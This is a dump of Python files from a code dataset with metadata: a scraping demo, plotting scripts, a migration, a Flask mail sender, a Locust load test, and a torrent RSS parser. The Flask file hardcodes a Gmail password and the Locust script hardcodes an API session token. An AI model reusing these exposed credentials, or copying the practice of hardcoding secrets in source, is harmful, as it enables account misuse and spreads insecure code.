"line_number": 51, "usage_type": "name"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 61, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 61, "usage_type": "name"}, {"api_name": "asyncio.gather", "line_number": 64, "usage_type": "call"}, {"api_name": "const.DOMAIN", "line_number": 73, "usage_type": "name"}, {"api_name": "poolsense.PoolSense", "line_number": 83, "usage_type": "call"}, {"api_name": "async_timeout.timeout", "line_number": 85, "usage_type": "call"}, {"api_name": "poolsense.get_poolsense_data", "line_number": 87, "usage_type": "call"}, {"api_name": "homeassistant.helpers.aiohttp_client.async_get_clientsession", "line_number": 88, "usage_type": "call"}, {"api_name": "homeassistant.helpers.aiohttp_client", "line_number": 88, "usage_type": "name"}, {"api_name": "homeassistant.const.CONF_EMAIL", "line_number": 89, "usage_type": "name"}, {"api_name": "homeassistant.const.CONF_PASSWORD", "line_number": 90, "usage_type": "name"}, {"api_name": "poolsense.exceptions.PoolSenseError", "line_number": 92, "usage_type": "name"}, {"api_name": "homeassistant.helpers.update_coordinator.UpdateFailed", "line_number": 93, "usage_type": "call"}, {"api_name": "homeassistant.helpers.update_coordinator.DataUpdateCoordinator", "line_number": 97, "usage_type": "call"}, {"api_name": "homeassistant.helpers.update_coordinator", "line_number": 97, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 99, "usage_type": "call"}, {"api_name": "const.DOMAIN", "line_number": 100, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 102, "usage_type": "call"}]} +{"seq_id": "392594405", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n# 网络获取数据\nimport requests\nimport json\nimport jsonpath\n\nurl = \"http://www.lagou.com/lbs/getAllCitySearchLabels.json\"\nheaders = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\"\n}\n\nresponse = requests.get(url,headers=headers)\nhtml = response.text\n# print(html)\n# 把响应数据转换成python数据类型\ndata = json.loads(html)\n# print(data)\n# 使用 jsonpath 提取数据\n# cities = jsonpath.jsonpath(data,'$..allCitySearchLabels..[?(@.isSelected==False)].name')\n# print(cities)\n\nsmallIdCities = jsonpath.jsonpath(data,'$..allCitySearchLabels..[?(@.id<600)].name')\nprint(smallIdCities)\n\n'''\n```json\n{ \n \"store\": {\n \"book\": [ \n { \"category\": \"reference\",\n \"author\": \"Nigel Rees\",\n \"title\": \"Sayings of the Century\",\n \"price\": 8.95\n },\n { \"category\": \"fiction\",\n \"author\": \"Evelyn Waugh\",\n \"title\": \"Sword of Honour\",\n \"price\": 12.99\n },\n { \"category\": \"fiction\",\n \"author\": \"Herman Melville\",\n \"title\": \"Moby Dick\",\n \"isbn\": \"0-553-21311-3\",\n \"price\": 8.99\n },\n { \"category\": \"fiction\",\n \"author\": \"J. R. R. Tolkien\",\n \"title\": \"The Lord of the Rings\",\n \"isbn\": \"0-395-19395-8\",\n \"price\": 22.99\n }\n ],\n \"bicycle\": {\n \"color\": \"red\",\n \"price\": 19.95\n }\n }\n}\n```\n### 语法规则\n| 语法 | 描述 | 案例 |\n|-------------|-------------------|---------------|\n| $ | 根节点 |\n| @ | 现行节点 |\n| . | 取子节点 | $.store.book |\n| .. | 取子孙节点 | $..book |\n| [] | 设置筛选条件 | $..book[0] |\n| [,] | 支持多选选择内容 | $..book[1,3] |\n| () | 支持表达式计算 | $..book[(@.length - 1)] |\n| ?() | 支持过滤操作 | $..book[?(@.price<10)] |\n'''", "sub_path": "malin-spider/code_demo/jsonpath+requests.py", "file_name": "jsonpath+requests.py", "file_ext": "py", "file_size_in_byte": 2070, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 18, "usage_type": "call"}, {"api_name": "jsonpath.jsonpath", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "367799568", "text": "import numpy\nfrom matplotlib import pyplot\n\nimport inspect\n\n\ndef lineno():\n \"\"\"Returns the current line number in program.\"\"\"\n return str(inspect.currentframe().f_back.f_lineno) + \" \"\n\n\nc_labels = ['1', '2', '3', '4', '5', '6', '7', '8', 'Unknown']\n# 9 colors\ncolors = ['royalblue', 'red', 'orange', 'green', 'purple',\n 'deepskyblue', 'deeppink', 'limegreen', 'firebrick']\nx_labels = ['1)', '2)', '3)', '4)', '5)']\n# 5rows, 9columns\nsizes = numpy.array([\n [2, 8, 2, 1, 0, 0, 0, 0, 1],\n [2, 4, 6, 0, 0, 0, 1, 0, 1],\n [2, 0, 0, 2, 5, 0, 0, 1, 3],\n [1, 0, 0, 3, 2, 2, 4, 0, 2],\n [1, 0, 1, 0, 1, 1, 4, 3, 2],\n])\n\n\nprint(lineno() + str(sizes.shape[0]))\n\nfig, axes = pyplot.subplots(ncols=sizes.shape[0], figsize=(10, 5), sharey=True)\n\nfor ax, height, title in zip(axes, sizes, x_labels):\n ax.set_title(title)\n left = numpy.arange(len(height)) + 1\n ax.bar(left, height, color=colors)\n ax.set_xticks(left)\n ax.set_xticklabels(c_labels, rotation=45,\n rotation_mode='anchor', ha='right')\n ax.yaxis.grid(True)\n\npyplot.show()\n", "sub_path": "python/bar_chart/example3.py", "file_name": "example3.py", "file_ext": "py", "file_size_in_byte": 1086, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "inspect.currentframe", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}]} +{"seq_id": "442494070", "text": "\"\"\"empty message\n\nRevision ID: 8023ba9ac0f2\nRevises: a5e7c6c2b04f\nCreate Date: 2020-07-11 11:06:02.940575\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8023ba9ac0f2'\ndown_revision = 'a5e7c6c2b04f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index(op.f('ix_category_name'), 'category', ['name'], unique=False)\n op.add_column('pitch', sa.Column('category_id', sa.Integer(), nullable=True))\n op.drop_constraint('pitch_category_fkey', 'pitch', type_='foreignkey')\n op.create_foreign_key(None, 'pitch', 'category', ['category_id'], ['id'])\n op.drop_column('pitch', 'category')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('pitch', sa.Column('category', sa.INTEGER(), autoincrement=False, nullable=True))\n op.drop_constraint(None, 'pitch', type_='foreignkey')\n op.create_foreign_key('pitch_category_fkey', 'pitch', 'category', ['category'], ['id'])\n op.drop_column('pitch', 'category_id')\n op.drop_index(op.f('ix_category_name'), table_name='category')\n # ### end Alembic commands ###\n", "sub_path": "migrations/versions/8023ba9ac0f2_.py", "file_name": "8023ba9ac0f2_.py", "file_ext": "py", "file_size_in_byte": 1252, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "alembic.op.create_index", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "alembic.op.f", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op.drop_constraint", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 24, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 25, "usage_type": "name"}, {"api_name": "alembic.op.add_column", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.INTEGER", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op.drop_constraint", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 32, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 33, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 34, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 34, "usage_type": "name"}, {"api_name": "alembic.op.drop_index", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 35, "usage_type": "name"}, {"api_name": "alembic.op.f", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "179876869", "text": "from flask import Flask\nfrom flask_mail import Mail, Message\n\napp = Flask(__name__)\n\napp.config.update(dict(\n DEBUG = True,\n MAIL_SERVER = 'smtp.gmail.com',\n MAIL_PORT = 587,\n MAIL_USE_TLS = True,\n MAIL_USE_SSL = False,\n MAIL_USERNAME = 'eventcalendar.stuy@gmail.com',\n MAIL_PASSWORD = 'Eventcalendar!1',\n))\n\n\nmail = Mail(app)\n\n@app.route(\"/\")\ndef index():\n msg = Message(subject = \"Hello\",\n sender = \"eventcalendar.stuy@gmail.com\",\n recipients = [\"mykolyk@stuycs.org\"])\n msg.body = \"This message was sent via our flask app! \\n\\n-Team FiveKnees\"\n mail.send(msg)\n return \"Sent\"\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n", "sub_path": "mail.py", "file_name": "mail.py", "file_ext": "py", "file_size_in_byte": 707, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask_mail.Mail", "line_number": 17, "usage_type": "call"}, {"api_name": "flask_mail.Message", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "198042285", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/4/7 13:29\n# @Author : Aries\n# @Site :\n# @File : locust_create_new_visit.py\n# @Software: PyCharm\nfrom json import JSONDecodeError\nimport json\nfrom locust import HttpUser,task,TaskSet,SequentialTaskSet,between,tag\nfrom locust.contrib.fasthttp import FastHttpUser,ResponseContextManager,FastResponse\nimport os\nimport random\nimport time\nfrom locust.exception import RescheduleTask\nfrom faker import Faker\n\nfake = Faker(locale=\"zh_CN\")\n\nclass CreateNewVisit(FastHttpUser):\n wait_time = between(0.1, 0.2)\n\n def on_start(self):\n\n # 公共参数\n self.host = 'https://power.medcloud.cn' # 被测主机地址\n self.token = 'eee22d511a6e4da7aa7730c5918f92f2'\n self.uid = 2279\n self._ut = 1\n self._t = 1\n self._s = 11\n self.mtId = 553\n self.tenantId = 376\n self.cmtId = 546\n self.cmtType = 2\n self._lang = 'zh_CN'\n\n self.path_create_return_visit = f\"/api/his/patient/return/visit/create?_token={self.token}&_uid={self.uid}&_ut={self._ut}&_t={self._t}&_s={self._s}&_mtId={self.mtId}&_tenantId={self.tenantId}&_cmtId={self.cmtId}&_cmtType={self.cmtType}&_lang={self._lang}\"\n\n\n @tag(\"patient\")\n @task(1)\n # 新增回访\n def func_create_return_visit(self):\n\n # self.path_create_return_visit =\n # \"/api/his/patient/return/visit/create\"\n\n now_time = int(time.time()*1000)\n tag_str = fake.password(length=6)\n fake_num = random.randint(10000000000, 19999999999)\n\n\n payload_data = {\n \"customerId\": 3585075,\n \"visitStatus\": 3,\n \"planVisitComment\": \"locust_FG\",\n \"planVisitTime\": \"2021-04-14T07:20:00.260Z\",\n \"planVisitorId\": 2279,\n \"planVisitorName\": \"李俊\",\n \"visitType\": 3\n }\n\n with self.client.post(\n path=f'{self.path_create_return_visit}',\n headers=None, json=payload_data , catch_response=True,name=\"新增回访:/api/his/patient/return/visit/create\") as res:\n if res.status_code == 200:\n\n if (json.loads(res.text))[\"code\"] == 0:\n res.success()\n else:\n #raise RescheduleTask()\n res.failure(res.text)\n print(time.strftime('%Y年%m月%d日%H时%M分%S秒'), \"失败------\", self.path_create_return_visit)\n\n else:\n res.failure(res.text)\n print(time.strftime('%Y年%m月%d日%H时%M分%S秒'), \"失败------\", self.path_create_return_visit)\n\n\n# 还需【确认入库】\n# /api/his/physical/inventory/input/update/confirm\nif __name__ == \"__main__\":\n\n \"\"\"\n @tag修饰符主要是用例管理测试方法的执行，在测试方法上加上一个或者多个@tag修饰符，就可以在执行测试时通过@tag修饰符运行指定测试集合，而且它不会影响全局的任务收集。\n\n 在执行测试时，使用 -T 或者 -E 来挑选测试集合\n\n -T 选中的集合\n\n -E 排除选中的集合\n \"\"\"\n\n # os模块执行系统命令，相当于在cmd切换到当前脚本目录，执行locust -f locust_login.py\n #os.system(\"locust -f locust_demo1.py --web-host=127.0.0.1\")\n os.system(\"locust -f locust_create_new_visit.py --host=172.18.2.29 --master\")\n #os.system(\"locust -f locust_h5.py --host=http://localhost -T physical_demo\")\n #locust -f locust_create_new_visit.py --worker --master-host=172.18.2.29-port=8089\n #os.system(\"locust -f locust_zadan.py --host=192.168.90.164\")", "sub_path": "locust_create_new_visit.py", "file_name": "locust_create_new_visit.py", "file_ext": "py", "file_size_in_byte": 3621, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "faker.Faker", "line_number": 18, "usage_type": "call"}, {"api_name": "locust.contrib.fasthttp.FastHttpUser", "line_number": 20, "usage_type": "name"}, {"api_name": "locust.between", "line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 51, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 69, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 74, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 78, "usage_type": "call"}, {"api_name": "locust.tag", "line_number": 41, "usage_type": "call"}, {"api_name": "locust.task", "line_number": 42, "usage_type": "call"}, {"api_name": "os.system", "line_number": 97, "usage_type": "call"}]} +{"seq_id": "233317987", "text": "\"\"\"\n$Id$\n\"\"\"\n\nimport time\nimport random\nimport logging\nimport threading\nfrom voting import constants\n\nclass Simulator(threading.Thread):\n\n def __init__(self, zone_id, sections, electors, sleep=1):\n threading.Thread.__init__(self)\n self.setDaemon(False)\n self.logger = logging.getLogger('voting.simul.zone-%s' % zone_id)\n self.shutdown = False\n self.sections = sections\n self.electors = list(electors)\n self.sleep = sleep\n\n def run(self):\n try:\n try:\n for elector in self.electors:\n if self.shutdown:\n return\n vote = random.choice(constants.VALID_CHOICES)\n section_id, section = random.choice(self.sections)\n self.logger.debug('Choosen section %s for '\n 'voting with elector %s',\n section_id, elector)\n section.vote(elector, vote)\n if self.sleep:\n time.sleep(self.sleep)\n except:\n self.logger.exception('Exception...')\n finally:\n self.logger.info('Finished')\n\n def stop(self):\n self.shutdown = True\n", "sub_path": "school/voting/src/voting/simul.py", "file_name": "simul.py", "file_ext": "py", "file_size_in_byte": 1274, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "threading.Thread", "line_number": 11, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 28, "usage_type": "call"}, {"api_name": "voting.constants.VALID_CHOICES", "line_number": 28, "usage_type": "attribute"}, {"api_name": "voting.constants", "line_number": 28, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 29, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "512936843", "text": "# -*- coding: utf-8 -*-\nimport urllib2\nfrom datetime import datetime\nfrom BeautifulSoup import BeautifulSoup\nfrom utils import parse_quality\nfrom torrent import Torrent\n\nclass EZRSS:\n\n def __init__(self, params = None):\n self.name = \"EZRSS\"\n self.show_name = params.get('name')\n self.quality = params.get('quality', '')\n self.show_name_exact = params.get('show_name_exact')\n self.url = \"http://www.ezrss.it\"\n\n def search(self, show):\n url = \"http://www.ezrss.it/search/index.php?show_name=%s%s&date=&quality=%s&release_group=&mode=rss\" % (\n urllib2.quote(self.show_name),\n \"&show_name_exact=true\" if self.show_name_exact else '',\n self.quality)\n rss = urllib2.urlopen(url).read()\n for item in BeautifulSoup(rss).rss.channel.findAll('item'):\n yield Torrent(name = item.title.string,\n source = 'eztv',\n seeds = -1, leechs = -1,\n size = int(item.enclosure['length']),\n files = -1,\n quality = parse_quality(item.title.string),\n url = item.enclosure['url'],\n date = datetime.now().strftime(\"%Y%m%d%H%M%S\"),\n pub_date = datetime.strptime(item.pubdate.string[5:25], \"%d %b %Y %H:%M:%S\").strftime(\"%Y%m%d%H%M%S\"))\n return\n\n def __repr__(self):\n return \"%s (%s)\" % (self.name, self.url)\n\n", "sub_path": "src/ezrss.py", "file_name": "ezrss.py", "file_ext": "py", "file_size_in_byte": 1422, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "urllib2.quote", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 22, "usage_type": "call"}, {"api_name": "BeautifulSoup.BeautifulSoup", "line_number": 23, "usage_type": "call"}, {"api_name": "torrent.Torrent", "line_number": 24, "usage_type": "call"}, {"api_name": "utils.parse_quality", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "381534265", "text": "\"\"\"\nPlot vertical wind velocity distribution from ADLR measurements, by date and in\naggregate.\n\"\"\"\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom os import listdir\n\nfrom caipeex import BASE_DIR, DATA_DIR, FIG_DIR\nfrom caipeex.utils import get_ss_full, get_meanr, get_nconc\n\n#for plotting\ncolors = {'bulk': '#095793', 'edge': '#88720A'}\nversionstr = 'v3_'\n\nmatplotlib.rcParams.update({'font.size': 21})\nmatplotlib.rcParams.update({'font.family': 'serif'})\n\nlwc_filter_val = 1.e-5\nw_cutoff = 2\n\ncutoff_bins = False\n\ndef main():\n \"\"\"\n for each date and for all dates combined, create and save w histogram.\n \"\"\"\n files = [f for f in listdir(DATA_DIR + 'npy_proc/')]\n used_dates = []\n i = 0\n for f in files:\n #get flight date and check if already processed\n date = f[-12:-4]\n if date in used_dates:\n continue\n else:\n print(date)\n used_dates.append(date)\n \n #get met data for that date\n filename = DATA_DIR + 'npy_proc/MET_' + date + '.npy' \n metdata = np.load(filename, allow_pickle=True).item()\n\n #get dsd data and create new file with lwc entry\n filename = DATA_DIR + 'npy_proc/DSD_' + date + '.npy'\n dataset = np.load(filename, allow_pickle=True).item()\n\n #relevant phys qtys\n alt = metdata['data']['alt']\n lwc = dataset['data']['lwc_cloud']\n temp = metdata['data']['temp']\n time = metdata['data']['sectime']#in seconds\n ss_qss = get_ss_full(dataset, metdata, cutoff_bins)\n w = metdata['data']['vert_wind_vel']\n\n #set up arrays\n nperlayer = []\n nedgeperlayer = []\n lwcfifthperc = []\n ssbulk = []\n ssedge = []\n layermax = 500 #m\n\n ##for taking 5th perc of entire set\n #total_filter = np.logical_and.reduce((\n # (lwc > lwc_filter_val), \\\n # (w > w_cutoff), \\\n # (w < 100), \\\n # (temp > 273)))\n #\n #total_cutoff = np.percentile(lwc[total_filter], 5)\n #bulk_filter = lwc[total_filter] >= total_cutoff\n #edge_filter = np.logical_not(bulk_filter)\n #ssbulk = ss_qss[total_filter][bulk_filter]\n #ssedge = ss_qss[total_filter][edge_filter]\n #group data in 500m layers by altitude\n while layermax < np.max(alt):\n #at 10:19:45 on 08/23 w=327m/s\n layer_filter = np.logical_and.reduce((\n (lwc > lwc_filter_val), \\\n (layermax-500 <= alt), \\\n (alt < layermax), \\\n (w > w_cutoff), \\\n (w < 100), \\\n (temp > 273)))\n nedge = 0\n if np.sum(layer_filter) != 0:\n nperlayer.append(np.sum(layer_filter))\n perc_cutoff = np.percentile(lwc[layer_filter], 5)\n lwcfifthperc.append(perc_cutoff)\n for j, val in enumerate(ss_qss[layer_filter]):\n if lwc[layer_filter][j] < perc_cutoff:\n nedge += 1\n ssedge.append(val)\n else:\n ssbulk.append(val)\n else:\n nperlayer.append(0)\n lwcfifthperc.append(np.nan)\n nedgeperlayer.append(nedge)\n layermax += 500\n \n print(nperlayer)\n print(nedgeperlayer)\n print(lwcfifthperc)\n print(ssedge)\n \n if i == 0:\n ssbulk_alldates = ssbulk\n ssedge_alldates = ssedge\n else:\n ssbulk_alldates = np.concatenate((ssbulk_alldates, ssbulk))\n ssedge_alldates = np.concatenate((ssedge_alldates, ssedge)) \n\n #make histogram\n fig, ax = plt.subplots()\n fig.set_size_inches(21, 12)\n ax.hist(ssbulk_alldates, bins=30, color=colors['bulk'], \\\n alpha=0.7, label='bulk', density=True)\n ax.hist(ssedge_alldates, bins=30, color=colors['edge'], \\\n alpha=0.7, label='edge', density=True)\n ax.set_title('SS distribution, LWC > 1.e-5 g/g, T > 273K, w > 2 m/s')\n ax.set_xlabel('SS (%)')\n #ax.set_ylabel('Count')\n ax.set_ylabel('Probability')\n ax.legend(loc=1)\n outfile = FIG_DIR + versionstr + 'ss_bulkedge_hist_' \\\n + date + '_figure.png'\n plt.savefig(outfile)\n plt.close(fig=fig)\n\n i += 1\n\n #make histogram\n nbulk = np.sum(ssbulk_alldates >= 2)\n nedge = np.sum(ssedge_alldates >= 2)\n fig, ax = plt.subplots()\n fig.set_size_inches(21, 12)\n ax.hist(ssbulk_alldates, bins=30, color=colors['bulk'], \\\n alpha=0.7, label='bulk', density=True)\n ax.hist(ssedge_alldates, bins=30, color=colors['edge'], \\\n alpha=0.7, label='edge', density=True)\n ax.text(0.8, 0.8, '$N_{SS>2\\%, bulk}$: ' + str(nbulk), transform=ax.transAxes) \n ax.text(0.8, 0.7, '$N_{SS>2\\%, edge}$: ' + str(nedge), transform=ax.transAxes) \n ax.set_title('SS distribution, LWC > 1.e-5 g/g, T > 273K, w > 2 m/s')\n ax.set_xlabel('SS (%)')\n #ax.set_ylabel('Count')\n ax.set_ylabel('Probability')\n ax.legend(loc=1)\n outfile = FIG_DIR + versionstr + 'ss_bulkedge_hist_' \\\n + 'alldates_figure.png'\n plt.savefig(outfile)\n plt.close(fig=fig) \n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "src/caipeex/ss_bulkedge_hist_figsrc.py", "file_name": "ss_bulkedge_hist_figsrc.py", "file_ext": "py", "file_size_in_byte": 5478, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.rcParams.update", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 17, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams.update", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 29, "usage_type": "call"}, {"api_name": "caipeex.DATA_DIR", "line_number": 29, "usage_type": "name"}, {"api_name": "caipeex.DATA_DIR", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 43, "usage_type": "call"}, {"api_name": "caipeex.DATA_DIR", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 47, "usage_type": "call"}, {"api_name": "caipeex.utils.get_ss_full", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.logical_and.reduce", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "caipeex.FIG_DIR", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "caipeex.FIG_DIR", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}]} +{"seq_id": "537175827", "text": "'''\nCreated on 2016/3/21\n\n:author: hubo\n'''\n\nfrom vlcp.server.module import Module, callAPI, depend, ModuleNotification,\\\n ModuleLoadStateChanged, api, proxy\nfrom vlcp.config import defaultconfig\nimport vlcp.service.connection.redisdb as redisdb\nfrom vlcp.event.event import withIndices, Event\nfrom vlcp.event.runnable import RoutineContainer\nfrom vlcp.event.connection import ConnectionResetException\nfrom vlcp.event.core import syscall_removequeue, QuitException\nimport json\nfrom time import time\nfrom zlib import compress, decompress, error as zlib_error\nimport functools\nimport uuid\nimport logging\n\n@withIndices('notifier', 'transactid', 'keys', 'reason', 'fromself')\nclass UpdateNotification(Event):\n UPDATED = 'updated'\n RESTORED = 'restored'\n\n@withIndices('notifier', 'stage')\nclass ModifyListen(Event):\n SUBSCRIBE = 'subscribe'\n LISTEN = 'listen'\n\ndef _delegate(func):\n @functools.wraps(func)\n def f(self, *args, **kwargs):\n for m in self.delegate(func(self, *args, **kwargs)):\n yield m\n return f\n\ndef _bytes(s):\n if isinstance(s, bytes):\n return s\n else:\n return s.encode('utf-8')\n\ndef _str(s):\n if isinstance(s, str):\n return s\n else:\n return s.decode('utf-8')\n\nclass _Notifier(RoutineContainer):\n _logger = logging.getLogger(__name__ + '.Notifier')\n def __init__(self, vhostbind, prefix, scheduler=None, daemon=False, singlecastlimit = 256, deflate = False):\n RoutineContainer.__init__(self, scheduler=scheduler, daemon=daemon)\n self.vhostbind = vhostbind\n self.prefix = _bytes(prefix)\n self._matchers = {}\n self._publishkey = uuid.uuid1().hex\n self._publishno = 1\n self._publish_wait = set()\n self._matchadd_wait = set()\n self._matchremove_wait = set()\n self._singlecastlimit = singlecastlimit\n self._deflate = deflate\n def main(self):\n try:\n timestamp = '%012x' % (int(time() * 1000),) + '-'\n transactno = 1\n for m in callAPI(self, 'redisdb', 'getclient', {'vhost':self.vhostbind}):\n yield m\n client, encoder, decoder = self.retvalue\n try:\n for m in client.subscribe(self, self.prefix):\n yield m\n except Exception:\n _no_connection_start = True\n else:\n _no_connection_start = False\n self._matchers[b''] = self.retvalue[0]\n if self._deflate:\n oldencoder = encoder\n olddecoder = decoder\n def encoder(x):\n return compress(oldencoder(x))\n def decoder(x):\n try:\n return olddecoder(decompress(x))\n except zlib_error:\n return olddecoder(x)\n if not _no_connection_start:\n self.subroutine(self._modifier(client), True, \"modifierroutine\")\n listen_modify = ModifyListen.createMatcher(self, ModifyListen.LISTEN)\n connection_down = client.subscribe_state_matcher(self, False)\n connection_up = client.subscribe_state_matcher(self, True)\n module_loaded = ModuleLoadStateChanged.createMatcher(state = ModuleLoadStateChanged.LOADED,\n _ismatch = lambda x: x._instance.getServiceName() == 'redisdb')\n matchers = tuple(self._matchers.values()) + (listen_modify, connection_down)\n last_transact = None\n while True:\n if not _no_connection_start:\n yield matchers\n if not _no_connection_start and self.matcher is listen_modify:\n matchers = tuple(self._matchers.values()) + (listen_modify, connection_down)\n elif _no_connection_start or self.matcher is connection_down:\n # Connection is down, wait for restore\n # The module may be reloaded\n if _no_connection_start:\n recreate_matchers = True\n else:\n recreate_matchers = False\n last_transact = None\n while True:\n yield (connection_up, module_loaded)\n if self.matcher is module_loaded:\n self.terminate(self.modifierroutine)\n for m in callAPI(self, 'redisdb', 'getclient', {'vhost':self.vhostbind}):\n yield m\n client, encoder, decoder = self.retvalue\n if self._deflate:\n oldencoder = encoder\n olddecoder = decoder\n def encoder(x):\n return compress(oldencoder(x))\n def decoder(x):\n 